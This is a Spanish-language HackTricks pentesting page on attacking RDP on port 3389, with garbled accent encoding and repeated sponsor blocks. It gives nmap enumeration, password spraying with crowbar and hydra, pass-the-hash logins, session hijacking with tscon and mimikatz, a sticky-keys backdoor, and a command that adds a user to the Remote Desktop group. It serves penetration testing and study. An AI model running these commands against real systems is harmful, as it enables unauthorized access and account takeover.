# 3389 - Pentesting RDP
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
**Configuraci贸n disponible instant谩neamente para evaluaci贸n de vulnerabilidades y pruebas de penetraci贸n**. Realiza una prueba de penetraci贸n completa desde cualquier lugar con m谩s de 20 herramientas y caracter铆sticas que van desde la recopilaci贸n de informaci贸n hasta la elaboraci贸n de informes. No reemplazamos a los pentesters; desarrollamos herramientas personalizadas, m贸dulos de detecci贸n y explotaci贸n para devolverles algo de tiempo para profundizar, abrir shells y divertirse.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Informaci贸n B谩sica
Desarrollado por Microsoft, el **Protocolo de Escritorio Remoto** (**RDP**) est谩 dise帽ado para habilitar una conexi贸n de interfaz gr谩fica entre computadoras a trav茅s de una red. Para establecer dicha conexi贸n, el usuario utiliza software cliente de **RDP**, y simult谩neamente, la computadora remota debe operar software servidor de **RDP**. Esta configuraci贸n permite el control y acceso sin problemas al entorno de escritorio de una computadora distante, esencialmente llevando su interfaz al dispositivo local del usuario.
**Puerto por defecto:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## Enumeraci贸n
### Autom谩tico
{% code overflow="wrap" %}
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4
```
{% endcode %}
Verifica la encriptaci贸n disponible y la vulnerabilidad de DoS (sin causar DoS al servicio) y obtiene informaci贸n de NTLM de Windows (versiones).
### [Fuerza bruta](../generic-methodologies-and-resources/brute-force.md#rdp)
**Ten cuidado, podr铆as bloquear cuentas**
### **Rociado de contrase帽as**
**Ten cuidado, podr铆as bloquear cuentas**
```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### Conectar con credenciales/hash conocidas
```bash
rdesktop -u
rdesktop -d -u -p
xfreerdp [/d:domain] /u: /p: /v:
xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash
```
### Verificar credenciales conocidas contra servicios RDP
rdp\_check.py de impacket te permite verificar si algunas credenciales son v谩lidas para un servicio RDP:
```bash
rdp_check /:@
```
**Configuraci贸n disponible al instante para evaluaci贸n de vulnerabilidades y pruebas de penetraci贸n**. Realiza una prueba de penetraci贸n completa desde cualquier lugar con m谩s de 20 herramientas y caracter铆sticas que van desde la recopilaci贸n de informaci贸n hasta la elaboraci贸n de informes. No reemplazamos a los pentesters; desarrollamos herramientas personalizadas, m贸dulos de detecci贸n y explotaci贸n para devolverles algo de tiempo para profundizar, abrir shells y divertirse.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Ataques**
### Robo de sesi贸n
Con **permisos de SYSTEM** puedes acceder a cualquier **sesi贸n RDP abierta por cualquier usuario** sin necesidad de conocer la contrase帽a del propietario.
**Obtener sesiones abiertas:**
```
query user
```
**Acceso a la sesi贸n seleccionada**
```bash
tscon /dest:
```
Ahora estar谩s dentro de la sesi贸n RDP seleccionada y tendr谩s que suplantar a un usuario utilizando solo herramientas y caracter铆sticas de Windows.
**Importante**: Cuando accedas a sesiones RDP activas, desconectar谩s al usuario que la estaba utilizando.
Podr铆as obtener contrase帽as del proceso volcando su contenido, pero este m茅todo es mucho m谩s r谩pido y te permite interactuar con los escritorios virtuales del usuario (contrase帽as en el bloc de notas sin ser guardadas en el disco, otras sesiones RDP abiertas en otras m谩quinas...)
#### **Mimikatz**
Tambi茅n podr铆as usar mimikatz para hacer esto:
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
Combinando esta t茅cnica con **stickykeys** o **utilman podr谩s acceder a un CMD administrativo y a cualquier sesi贸n RDP en cualquier momento**
Puedes buscar RDPs que han sido backdooreados con una de estas t茅cnicas ya con: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection
Si alguien de un dominio diferente o con **mejores privilegios inicia sesi贸n v铆a RDP** en la PC donde **eres un Admin**, puedes **inyectar** tu beacon en su **proceso de sesi贸n RDP** y actuar como 茅l:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
{% endcontent-ref %}
### Adding User to RDP group
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## Herramientas Autom谩ticas
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** es un marco de post-explotaci贸n creado en Powershell, dise帽ado principalmente para automatizar el ataque **Shadow** en computadoras Microsoft Windows. Esta vulnerabilidad (listada como una caracter铆stica por Microsoft) permite a un atacante remoto **ver el escritorio de su v铆ctima sin su consentimiento**, e incluso controlarlo a demanda, utilizando herramientas nativas del propio sistema operativo.
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Controlar el mouse y el teclado de manera automatizada desde la l铆nea de comandos
* Controlar el portapapeles de manera automatizada desde la l铆nea de comandos
* Generar un proxy SOCKS desde el cliente que canaliza la comunicaci贸n de red al objetivo a trav茅s de RDP
* Ejecutar comandos SHELL y PowerShell arbitrarios en el objetivo sin subir archivos
* Subir y descargar archivos al/del objetivo incluso cuando las transferencias de archivos est谩n deshabilitadas en el objetivo
## Comandos Autom谩ticos de HackTricks
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
**Configuraci贸n disponible al instante para evaluaci贸n de vulnerabilidades y pruebas de penetraci贸n**. Realiza un pentest completo desde cualquier lugar con m谩s de 20 herramientas y caracter铆sticas que van desde la recopilaci贸n hasta la elaboraci贸n de informes. No reemplazamos a los pentesters; desarrollamos herramientas personalizadas, m贸dulos de detecci贸n y explotaci贸n para devolverles algo de tiempo para profundizar, abrir shells y divertirse.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks
* Consulta los [**planes de suscripci贸n**](https://github.com/sponsors/carlospolop)!
* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %}